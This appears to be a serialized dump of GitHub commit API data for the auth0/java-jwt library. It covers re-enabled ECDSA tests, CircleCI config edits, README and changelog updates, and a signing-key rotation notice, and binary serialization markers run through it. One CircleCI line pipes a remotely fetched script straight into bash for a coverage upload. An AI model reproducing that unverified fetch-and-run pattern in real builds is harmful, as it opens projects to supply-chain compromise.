         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         PublicKey publicKey = readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");uS     }(jG  (6b0266a438d2cff49bc36942498c9393c51bce92jG  Nlib/src/test/java/com/auth0/jwt/algorithms/ECDSABouncyCastleProviderTests.javajG  modifiedj}G  K j~G  KjG  KjG  https://github.com/auth0/java-jwt/blob/4dcfe4a18d7d738ddb8d8b1aa70252c8e7ca23e5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javajG  https://github.com/auth0/java-jwt/raw/4dcfe4a18d7d738ddb8d8b1aa70252c8e7ca23e5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javajG  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.java?ref=4dcfe4a18d7d738ddb8d8b1aa70252c8e7ca23e5jG  Xg  @@ -99,15 +99,13 @@ public void shouldThrowOnECDSA256KVerificationWithDERSignature() throws Exceptio
     }
     
     @Test
-    @Ignore //todo: handle curve secp256k1 disabled in Java 15+
     public void shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys() throws Exception {
         Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC")
                 , (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC"));
         algorithm.verify(JWT.decode(ES256K_JWT));
     }
     
     @Test
-    @Ignore //todo: handle curve secp256k1 disabled in Java 15+
     public void shouldPassECDSA256KVerificationWithProvidedPublicKey() throws Exception {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         PublicKey publicKey = readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");ueu(0b2331bf08db796760669ca1a14503c373c3a0c9}(sha(0b2331bf08db796760669ca1a14503c373c3a0c9node_idEC_kwDOAQtL0doAKDBiMjMzMWJmMDhkYjc5Njc2MDY2OWNhMWExNDUwM2MzNzNjM2EwYzkcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-03-01T13:20:18Zu	committer}(jG  James AndersonjG  jim.anderson@auth0.comjG  2022-03-01T13:49:51Zumessage'Remove apiDiff check for v4 developmenttree}(jG  (e34e7e0dc63944ccd5aad0e56352c6e944eca64aurl^https://api.github.com/repos/auth0/java-jwt/git/trees/e34e7e0dc63944ccd5aad0e56352c6e944eca64aujG  `https://api.github.com/repos/auth0/java-jwt/git/commits/0b2331bf08db796760669ca1a14503c373c3a0c9
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujG  \https://api.github.com/repos/auth0/java-jwt/commits/0b2331bf08db796760669ca1a14503c373c3a0c9html_urlQhttps://github.com/auth0/java-jwt/commit/0b2331bf08db796760669ca1a14503c373c3a0c9comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/0b2331bf08db796760669ca1a14503c373c3a0c9/commentsjG  }(login
jimmyjamesidJ7 jG  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jG  'https://api.github.com/users/jimmyjamesjG  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujG  }(jG  
jimmyjamesjG  J7 jG  MDQ6VXNlcjI3NjIyNQ==jG  2https://avatars.githubusercontent.com/u/276225?v=4jG  h3jG  'https://api.github.com/users/jimmyjamesjG  https://github.com/jimmyjamesjG  1https://api.github.com/users/jimmyjames/followersjG  >https://api.github.com/users/jimmyjames/following{/other_user}jG  7https://api.github.com/users/jimmyjames/gists{/gist_id}jG  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jG  5https://api.github.com/users/jimmyjames/subscriptionsjG  ,https://api.github.com/users/jimmyjames/orgsjG  -https://api.github.com/users/jimmyjames/reposjG  8https://api.github.com/users/jimmyjames/events{/privacy}jG  7https://api.github.com/users/jimmyjames/received_eventsjG  UserjG  uparents]}(jG  (a043f0284389d4efd58494264ce5ba2c79332410jG  \https://api.github.com/repos/auth0/java-jwt/commits/a043f0284389d4efd58494264ce5ba2c79332410jG  Qhttps://github.com/auth0/java-jwt/commit/a043f0284389d4efd58494264ce5ba2c79332410uastats}(totalK,	additionsK	deletionsKufiles]}(jG  (a299cb9dc2a35b1a7ea5892fcc6bf5ad04f41837filename.circleci/config.ymlstatusmodifiedjH  KjH  KchangesK,blob_urlfhttps://github.com/auth0/java-jwt/blob/0b2331bf08db796760669ca1a14503c373c3a0c9/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/0b2331bf08db796760669ca1a14503c373c3a0c9/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=0b2331bf08db796760669ca1a14503c373c3a0c9patchX  @@ -23,15 +23,15 @@ commands:
           name: Upload Coverage
           when: on_success
           command: bash <(curl -s https://codecov.io/bash) -Z -C $CIRCLE_SHA1
-  run-api-diff:
-    steps:
-      # run apiDiff task
-      - run: ./gradlew apiDiff
-      - store_artifacts:
-         path: lib/build/reports/apiDiff/apiDiff.txt
-      - store_artifacts:
-         path: lib/build/reports/apiDiff/apiDiff.html
-
+#  TODO re-enable once 4.0.0 is released
+#  run-api-diff:
+#    steps:
+#      # run apiDiff task
+#      - run: ./gradlew apiDiff
+#      - store_artifacts:
+#          path: lib/build/reports/apiDiff/apiDiff.txt
+#      - store_artifacts:
+#          path: lib/build/reports/apiDiff/apiDiff.html
 jobs:
   build:
     docker:
@@ -43,21 +43,21 @@ jobs:
       GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
       _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
       TERM: dumb
-  api-diff:
-    docker:
-      - image: openjdk:11.0-jdk
-    steps:
-      - checkout-and-build
-      - run-api-diff
-    environment:
-      GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
-      _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
-      TERM: dumb
+#  api-diff:
+#    docker:
+#      - image: openjdk:11.0-jdk
+#    steps:
+#      - checkout-and-build
+#      - run-api-diff
+#    environment:
+#      GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
+#      _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
+#      TERM: dumb
 
 workflows:
   build-and-test:
     jobs:
       - build
-  api-diff:
-    jobs:
-      - api-diff
+#  api-diff:
+#    jobs:
+#      - api-diff
\ No newline at end of fileuau(1352e28760c26b4dfaa2affea97ab064a9adc60d}(sha(1352e28760c26b4dfaa2affea97ab064a9adc60dnode_idEC_kwDOAQtL0doAKDEzNTJlMjg3NjBjMjZiNGRmYWEyYWZmZWE5N2FiMDY0YTlhZGM2MGQcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-01-12T17:09:35Zu	committer}(j/H  
Poovamraj T Tj1H  poovamraj@gmail.comj3H  2022-01-12T17:09:35ZumessageAUpdate baseline compare version to 3.18.2 as mentioned in PR #513tree}(j'H  (530e08f3f3f0df3ef679149557108ad8d931b012url^https://api.github.com/repos/auth0/java-jwt/git/trees/530e08f3f3f0df3ef679149557108ad8d931b012uj?H  `https://api.github.com/repos/auth0/java-jwt/git/commits/1352e28760c26b4dfaa2affea97ab064a9adc60d
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj?H  \https://api.github.com/repos/auth0/java-jwt/commits/1352e28760c26b4dfaa2affea97ab064a9adc60dhtml_urlQhttps://github.com/auth0/java-jwt/commit/1352e28760c26b4dfaa2affea97ab064a9adc60dcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/1352e28760c26b4dfaa2affea97ab064a9adc60d/commentsj-H  }(login	poovamrajidJ j)H  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j?H  &https://api.github.com/users/poovamrajjKH  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj5H  }(jPH  	poovamrajjRH  J j)H  MDQ6VXNlcjE1OTEwNDI1jTH  4https://avatars.githubusercontent.com/u/15910425?v=4jVH  h3j?H  &https://api.github.com/users/poovamrajjKH  https://github.com/poovamrajjYH  0https://api.github.com/users/poovamraj/followersj[H  =https://api.github.com/users/poovamraj/following{/other_user}j]H  6https://api.github.com/users/poovamraj/gists{/gist_id}j_H  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jaH  4https://api.github.com/users/poovamraj/subscriptionsjcH  +https://api.github.com/users/poovamraj/orgsjeH  ,https://api.github.com/users/poovamraj/reposjgH  7https://api.github.com/users/poovamraj/events{/privacy}jiH  6https://api.github.com/users/poovamraj/received_eventsjkH  UserjmH  uparents]}(j'H  (42155cd5423145e8a628045908c43240935649b0j?H  \https://api.github.com/repos/auth0/java-jwt/commits/42155cd5423145e8a628045908c43240935649b0jKH  Qhttps://github.com/auth0/java-jwt/commit/42155cd5423145e8a628045908c43240935649b0uastats}(totalK	additionsK	deletionsKufiles]}(j'H  (e1a4b4e7c7833c2cfc564332d90032dbb234ad77filenamelib/build.gradlestatusmodifiedjH  KjH  KchangesKblob_urlbhttps://github.com/auth0/java-jwt/blob/1352e28760c26b4dfaa2affea97ab064a9adc60d/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/1352e28760c26b4dfaa2affea97ab064a9adc60d/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=1352e28760c26b4dfaa2affea97ab064a9adc60dpatch@@ -11,7 +11,7 @@ oss {
     repository "java-jwt"
     organization "auth0"
     description "Java implementation of JSON Web Token (JWT)"
-    baselineCompareVersion "3.13.0"
+    baselineCompareVersion "3.18.2"
 
     developers {
         auth0 {uau(ada515477eebef9ed8efb42740764244b31ef8d2}(sha(ada515477eebef9ed8efb42740764244b31ef8d2node_idEC_kwDOAQtL0doAKGFkYTUxNTQ3N2VlYmVmOWVkOGVmYjQyNzQwNzY0MjQ0YjMxZWY4ZDIcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-10-25T02:07:34Zu	committer}(jH  Jim AndersonjH  jimranderson@gmail.comjH  2022-10-25T02:07:34Zumessage
add bannertree}(jH  (afc9f09d37e4ae7c358af363e3970fe4ccfa1dbeurl^https://api.github.com/repos/auth0/java-jwt/git/trees/afc9f09d37e4ae7c358af363e3970fe4ccfa1dbeujH  `https://api.github.com/repos/auth0/java-jwt/git/commits/ada515477eebef9ed8efb42740764244b31ef8d2
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujH  \https://api.github.com/repos/auth0/java-jwt/commits/ada515477eebef9ed8efb42740764244b31ef8d2html_urlQhttps://github.com/auth0/java-jwt/commit/ada515477eebef9ed8efb42740764244b31ef8d2comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/ada515477eebef9ed8efb42740764244b31ef8d2/commentsjH  }(login
jimmyjamesidJ7 jH  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jH  'https://api.github.com/users/jimmyjamesjH  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujH  }(jH  
jimmyjamesjH  J7 jH  MDQ6VXNlcjI3NjIyNQ==jH  2https://avatars.githubusercontent.com/u/276225?v=4jH  h3jH  'https://api.github.com/users/jimmyjamesjH  https://github.com/jimmyjamesjH  1https://api.github.com/users/jimmyjames/followersjH  >https://api.github.com/users/jimmyjames/following{/other_user}jH  7https://api.github.com/users/jimmyjames/gists{/gist_id}jH  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jH  5https://api.github.com/users/jimmyjames/subscriptionsjH  ,https://api.github.com/users/jimmyjames/orgsjH  -https://api.github.com/users/jimmyjames/reposjH  8https://api.github.com/users/jimmyjames/events{/privacy}jH  7https://api.github.com/users/jimmyjames/received_eventsjH  UserjH  uparents]}(jH  (985582594c71b9823ba0f4df382ebd579c2a598cjH  \https://api.github.com/repos/auth0/java-jwt/commits/985582594c71b9823ba0f4df382ebd579c2a598cjH  Qhttps://github.com/auth0/java-jwt/commit/985582594c71b9823ba0f4df382ebd579c2a598cuastats}(totalK	additionsK	deletionsKufiles]}(jH  (80fe4666321ff305f899d0a59583cc9e2e1e6782filename	README.mdstatusmodifiedjH  KjH  KchangesKblob_urlYhttps://github.com/auth0/java-jwt/blob/ada515477eebef9ed8efb42740764244b31ef8d2/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/ada515477eebef9ed8efb42740764244b31ef8d2/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=ada515477eebef9ed8efb42740764244b31ef8d2patchX$  @@ -1,6 +1,4 @@
-# Java JWT
-
-A Java implementation of [JSON Web Token (JWT) - RFC 7519](https://tools.ietf.org/html/rfc7519)
+![A Java implementation of JSON Web Token (JWT) - RFC 7519.](https://cdn.auth0.com/website/sdks/banners/java-jwt-banner.png)
 
 [![CircleCI](https://img.shields.io/circleci/project/github/auth0/java-jwt.svg?style=flat-square)](https://circleci.com/gh/auth0/java-jwt/tree/master)
 [![Coverage Status](https://img.shields.io/codecov/c/github/auth0/java-jwt.svg?style=flat-square)](https://codecov.io/github/auth0/java-jwt)uau(b4fae643ad27ed5efb28a12da7ac7d52f9917706}(sha(b4fae643ad27ed5efb28a12da7ac7d52f9917706node_idEC_kwDOAQtL0doAKGI0ZmFlNjQzYWQyN2VkNWVmYjI4YTEyZGE3YWM3ZDUyZjk5MTc3MDYcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2023-01-11T16:50:24Zu	committer}(jI  GitHubjI  noreply@github.comjI  2023-01-11T16:50:24ZumessageRelease 4.2.2 (#650)tree}(jI  (98492367cb8cdee2481379e668af81dd85bdeb2burl^https://api.github.com/repos/auth0/java-jwt/git/trees/98492367cb8cdee2481379e668af81dd85bdeb2buj)I  `https://api.github.com/repos/auth0/java-jwt/git/commits/b4fae643ad27ed5efb28a12da7ac7d52f9917706
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjvujQCRBK7hj4Ov3rIwAAoaMIADKR/v3Bw+X8gOotWojN03NL
Nk7kUBGf9Sp3hiRwo8DjnQaeRF0r9VrznGSFL5Tpt+LtevIaf4KS3gl5+Jd4Vwuq
SI7THOYpw1vpjZVSmLewV1C3rQUqYPZZ9Qv4Kt7IJI98iHZp+Q+PjeeH7ZgcgMew
Ep6LW6NFMm3XCwIZrVlkWAnAQgScI3yM/94s/KIg9H+tj33kQvz/VgBXqxxPiQXb
hFkYpR+ePQl3rzIACZTUcVrvaMhvQE26h+gMS5+is6mPNGu3dLPL/L0SS9Vk/FXO
dlqab8+M1tpzoNblVBcBiH96IoLngfc3z410LnqZ+4jvUo+aLZRWFcwPGpmTGTs=
=N4l7
-----END PGP SIGNATURE-----
payloadtree 98492367cb8cdee2481379e668af81dd85bdeb2b
parent 23e85493e19f9d1d8501d62a866525dc152551aa
author Poovamraj T T <poovamraj@gmail.com> 1673455824 +0100
committer GitHub <noreply@github.com> 1673455824 +0100

Release 4.2.2 (#650)

uuj)I  \https://api.github.com/repos/auth0/java-jwt/commits/b4fae643ad27ed5efb28a12da7ac7d52f9917706html_urlQhttps://github.com/auth0/java-jwt/commit/b4fae643ad27ed5efb28a12da7ac7d52f9917706comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/b4fae643ad27ed5efb28a12da7ac7d52f9917706/commentsjI  }(login	poovamrajidJ jI  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j)I  &https://api.github.com/users/poovamrajj7I  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujI  }(j<I  web-flowj>I  J/jI  MDQ6VXNlcjE5ODY0NDQ3j@I  4https://avatars.githubusercontent.com/u/19864447?v=4jBI  h3j)I  %https://api.github.com/users/web-flowj7I  https://github.com/web-flowjEI  /https://api.github.com/users/web-flow/followersjGI  <https://api.github.com/users/web-flow/following{/other_user}jII  5https://api.github.com/users/web-flow/gists{/gist_id}jKI  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jMI  3https://api.github.com/users/web-flow/subscriptionsjOI  *https://api.github.com/users/web-flow/orgsjQI  +https://api.github.com/users/web-flow/reposjSI  6https://api.github.com/users/web-flow/events{/privacy}jUI  5https://api.github.com/users/web-flow/received_eventsjWI  UserjYI  uparents]}(jI  (23e85493e19f9d1d8501d62a866525dc152551aaj)I  \https://api.github.com/repos/auth0/java-jwt/commits/23e85493e19f9d1d8501d62a866525dc152551aaj7I  Qhttps://github.com/auth0/java-jwt/commit/23e85493e19f9d1d8501d62a866525dc152551aauastats}(totalK	additionsK
	deletionsKufiles](}(jI  (eaf3feec2b3755bab1128e719f293a26e39fb72cfilenameCHANGELOG.mdstatusmodifiedjsI  KjtI  K changesKblob_url\https://github.com/auth0/java-jwt/blob/b4fae643ad27ed5efb28a12da7ac7d52f9917706/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/b4fae643ad27ed5efb28a12da7ac7d52f9917706/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=b4fae643ad27ed5efb28a12da7ac7d52f9917706patchXs  @@ -1,5 +1,11 @@
 # Change Log
 
+## [4.2.2](https://github.com/auth0/java-jwt/tree/4.2.2) (2023-01-11)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/4.2.1...4.2.2)
+
+This patch release does not contain any functional changes, but is being released using an updated signing key for verification as part of our commitment to best security practices.
+Please review [the README note for additional details.](https://github.com/auth0/java-jwt/blob/master/README.md)
+
 ## [4.2.1](https://github.com/auth0/java-jwt/tree/4.2.1) (2022-10-24)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/4.2.0...4.2.1)
 u}(jI  (8583ed7af489606f15a387b99c3dcc4bab2d32e6jyI  	README.mdj{I  modifiedjsI  KjtI  Kj}I  K	j~I  Yhttps://github.com/auth0/java-jwt/blob/b4fae643ad27ed5efb28a12da7ac7d52f9917706/README.mdjI  Xhttps://github.com/auth0/java-jwt/raw/b4fae643ad27ed5efb28a12da7ac7d52f9917706/README.mdjI  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=b4fae643ad27ed5efb28a12da7ac7d52f9917706jI  X  @@ -1,3 +1,8 @@
+> **Note**
+> As part of our ongoing commitment to best security practices, we have rotated the signing keys used to sign previous releases of this SDK. As a result, new patch builds have been released using the new signing key. Please upgrade at your earliest convenience.
+>
+> While this change won't affect most developers, if you have implemented a dependency signature validation step in your build process, you may notice a warning that past releases can't be verified. This is expected, and a result of the key rotation process. Updating to the latest version will resolve this for you.
+
 ![A Java implementation of JSON Web Token (JWT) - RFC 7519.](https://cdn.auth0.com/website/sdks/banners/java-jwt-banner.png)
 
 [![CircleCI](https://img.shields.io/circleci/project/github/auth0/java-jwt.svg?style=flat-square)](https://circleci.com/gh/auth0/java-jwt/tree/master)
@@ -45,14 +50,14 @@ Add the dependency via Maven:
 <dependency>
   <groupId>com.auth0</groupId>
   <artifactId>java-jwt</artifactId>
-  <version>4.2.1</version>
+  <version>4.2.2</version>
 </dependency>
 ```
 
 or Gradle:
 
 ```gradle
-implementation 'com.auth0:java-jwt:4.2.1'
+implementation 'com.auth0:java-jwt:4.2.2'
 ```
 
 ### Create a JWTueu(986be18ace3a9b8f550cbb6e0674a3880b457b15}(sha(986be18ace3a9b8f550cbb6e0674a3880b457b15node_idEC_kwDOAQtL0doAKDk4NmJlMThhY2UzYTliOGY1NTBjYmI2ZTA2NzRhMzg4MGI0NTdiMTUcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-03-14T15:36:18Zu	committer}(jI  James AndersonjI  jim.anderson@auth0.comjI  2022-03-14T15:36:18ZumessageRelease 3.19.0tree}(jI  (39e47cbbe3c71518ae9510feaadb5a4cc812a5e5url^https://api.github.com/repos/auth0/java-jwt/git/trees/39e47cbbe3c71518ae9510feaadb5a4cc812a5e5ujI  `https://api.github.com/repos/auth0/java-jwt/git/commits/986be18ace3a9b8f550cbb6e0674a3880b457b15
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujI  \https://api.github.com/repos/auth0/java-jwt/commits/986be18ace3a9b8f550cbb6e0674a3880b457b15html_urlQhttps://github.com/auth0/java-jwt/commit/986be18ace3a9b8f550cbb6e0674a3880b457b15comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/986be18ace3a9b8f550cbb6e0674a3880b457b15/commentsjI  }(login
jimmyjamesidJ7 jI  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jI  'https://api.github.com/users/jimmyjamesjI  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujI  }(jI  
jimmyjamesjI  J7 jI  MDQ6VXNlcjI3NjIyNQ==jI  2https://avatars.githubusercontent.com/u/276225?v=4jI  h3jI  'https://api.github.com/users/jimmyjamesjI  https://github.com/jimmyjamesjI  1https://api.github.com/users/jimmyjames/followersjI  >https://api.github.com/users/jimmyjames/following{/other_user}jI  7https://api.github.com/users/jimmyjames/gists{/gist_id}jI  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jI  5https://api.github.com/users/jimmyjames/subscriptionsjI  ,https://api.github.com/users/jimmyjames/orgsjI  -https://api.github.com/users/jimmyjames/reposjI  8https://api.github.com/users/jimmyjames/events{/privacy}jI  7https://api.github.com/users/jimmyjames/received_eventsjI  UserjI  uparents]}(jI  (212a3cdc3c5a474e88af0dc8445bc78fb0f662a7jI  \https://api.github.com/repos/auth0/java-jwt/commits/212a3cdc3c5a474e88af0dc8445bc78fb0f662a7jI  Qhttps://github.com/auth0/java-jwt/commit/212a3cdc3c5a474e88af0dc8445bc78fb0f662a7uastats}(totalK	additionsK	deletionsKufiles](}(jI  (84686b4b01b8efa5fc01dde25c8b63e9605ce727filenameCHANGELOG.mdstatusmodifiedjI  KjI  K changesKblob_url\https://github.com/auth0/java-jwt/blob/986be18ace3a9b8f550cbb6e0674a3880b457b15/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/986be18ace3a9b8f550cbb6e0674a3880b457b15/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=986be18ace3a9b8f550cbb6e0674a3880b457b15patchX  @@ -1,5 +1,17 @@
 # Change Log
 
+## [3.19.0](https://github.com/auth0/java-jwt/tree/3.19.0) (2022-03-14)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.18.3...3.19.0)
+
+**Deprecated**
+- Deprecate ES256K Algorithm [\#543](https://github.com/auth0/java-jwt/pull/543) ([poovamraj](https://github.com/poovamraj))
+
+**Fixed**
+- fix typos in JWTVerifier#verify docstring [\#526](https://github.com/auth0/java-jwt/pull/526) ([OdunlamiZO](https://github.com/OdunlamiZO))
+
+**Security**
+- Bump `jackson-databind` dependency to 2.13.2 [\#542](https://github.com/auth0/java-jwt/pull/542) ([evansims](https://github.com/evansims))
+
 ## [3.18.3](https://github.com/auth0/java-jwt/tree/3.18.3) (2022-01-13)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.18.2...3.18.3)
 u}(jI  (0f847ccabe32ccfb0d0b925ebe5214f8f3908851jI  	README.mdjI  modifiedjI  KjI  KjI  KjI  Yhttps://github.com/auth0/java-jwt/blob/986be18ace3a9b8f550cbb6e0674a3880b457b15/README.mdjI  Xhttps://github.com/auth0/java-jwt/raw/986be18ace3a9b8f550cbb6e0674a3880b457b15/README.mdjI  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=986be18ace3a9b8f550cbb6e0674a3880b457b15jJ  X  @@ -23,14 +23,14 @@ The library is available on both Maven Central and Bintray, and the Javadoc is p
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>3.18.3</version>
+    <version>3.19.0</version>
 </dependency>
 ```
 
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:3.18.3'
+implementation 'com.auth0:java-jwt:3.19.0'
 ```
 
 ## Available Algorithmsueu(42155cd5423145e8a628045908c43240935649b0}(sha(42155cd5423145e8a628045908c43240935649b0node_idEC_kwDOAQtL0doAKDQyMTU1Y2Q1NDIzMTQ1ZThhNjI4MDQ1OTA4YzQzMjQwOTM1NjQ5YjAcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-01-12T13:11:18Zu	committer}(jJ  
Poovamraj T TjJ  poovamraj@gmail.comjJ  2022-01-12T13:11:18ZumessageRemove ignored filestree}(j
J  (4ab73f4a4218a0a56eea92165a3a9f41582e6594url^https://api.github.com/repos/auth0/java-jwt/git/trees/4ab73f4a4218a0a56eea92165a3a9f41582e6594uj%J  `https://api.github.com/repos/auth0/java-jwt/git/commits/42155cd5423145e8a628045908c43240935649b0
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj%J  \https://api.github.com/repos/auth0/java-jwt/commits/42155cd5423145e8a628045908c43240935649b0html_urlQhttps://github.com/auth0/java-jwt/commit/42155cd5423145e8a628045908c43240935649b0comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/42155cd5423145e8a628045908c43240935649b0/commentsjJ  }(login	poovamrajidJ jJ  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j%J  &https://api.github.com/users/poovamrajj1J  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujJ  }(j6J  	poovamrajj8J  J jJ  MDQ6VXNlcjE1OTEwNDI1j:J  4https://avatars.githubusercontent.com/u/15910425?v=4j<J  h3j%J  &https://api.github.com/users/poovamrajj1J  https://github.com/poovamrajj?J  0https://api.github.com/users/poovamraj/followersjAJ  =https://api.github.com/users/poovamraj/following{/other_user}jCJ  6https://api.github.com/users/poovamraj/gists{/gist_id}jEJ  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jGJ  4https://api.github.com/users/poovamraj/subscriptionsjIJ  +https://api.github.com/users/poovamraj/orgsjKJ  ,https://api.github.com/users/poovamraj/reposjMJ  7https://api.github.com/users/poovamraj/events{/privacy}jOJ  6https://api.github.com/users/poovamraj/received_eventsjQJ  UserjSJ  uparents]}(j
